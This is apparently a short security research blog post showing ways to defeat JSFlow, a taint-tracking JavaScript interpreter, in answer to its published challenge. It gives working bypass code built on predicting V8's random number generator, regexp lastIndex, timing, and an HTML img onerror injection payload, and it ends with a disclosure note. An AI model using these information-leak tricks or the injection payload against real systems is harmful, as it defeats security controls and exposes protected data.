alf.nu / @steike

Breaking JSFlow with a magic trick

JSFlow is an instrumented interpreter for JS in JS, implementing most of ECMA262 from scratch.

It comes with a challenge: Write a function that takes a tainted secret and returns it without the taint checker. With most simple tainting systems, branching based on the secret is allowed:

function untaint(secret) {
  for (var i=0; i<1000; i++) {
    if (secret == i) return i;
  }
}

With JSFlow, this doesn't work: the program counter itself is considered tainted within the body of the if statement.

A magic trick

function untaint(secret) {
  // wait for luck
  while (secret != (0 | peek()*1000));
  // throw the dice
  return 0 | Math.random()*1000;
}

function peek() {
  function lo(x) { return x & 0xFFFF; }
  function hi(x) { return x >>> 16; }

  var t16 = 0x10000, t32 = 0x100000000;

  function next(mul, al, bl) {
    var ah = lo(bl - lo(mul*al));
    var bx = mul*al + ah;
    var cx = mul*bl + hi(bx);
    return lo(cx);
  }
  var r1 = Math.random() * t32,
      r2 = Math.random() * t32;
  return next(36969, lo(r1), lo(r2)) / t32 +
         next(18273, hi(r1), hi(r2)) / t16;
}

As far as the analyzer is concerned, this code sits around and twiddles its thumbs for a while, then returns a random number, and so is perfectly safe.

In Chrome, of course, that number just happens to be the secret. Here's v8's random number generator:

var rngstate;  // Initialized to a Uint32Array during genesis.
function MathRandom() {
  var r0 = (MathImul(18273, rngstate[0] & 0xFFFF) + (rngstate[0] >>> 16)) | 0;
  rngstate[0] = r0;
  var r1 = (MathImul(36969, rngstate[1] & 0xFFFF) + (rngstate[1] >>> 16)) | 0;
  rngstate[1] = r1;
  var x = ((r0 << 16) + (r1 & 0xFFFF)) | 0;
  // Division by 0x100000000 through multiplication by reciprocal.
  return (x < 0 ? (x + 0x100000000) : x) * 2.3283064365386962890625e-10;
}

Simpler bypasses

There are other bits of writable "state" that aren't tracked. One is the lastIndex of a regexp object:


function untaint(secret) {
  var rex = /.+/g;
  rex.lastIndex = secret;
  return 1000-rex.exec(Array(1001).join('x'))[0].length;
}

A harder one to avoid is the system time:


function untaint(secret) {
  var a = Date.now();
  while (Date.now() < a + secret) { }
  return Date.now() - a;
}

Also, there might be bugs in the embedding code:

function steal(secret) {
  print('<img src=x: onerror=alert('+s+')>');
  return 'everything is fine. nothing is ruined';
}

Response

Emailed the author Oct 7 2014, no response. The demo has since been updated to use a larger secret, treat the current time as tainted, and correctly track taint for lastIndex.

Complaints to @steike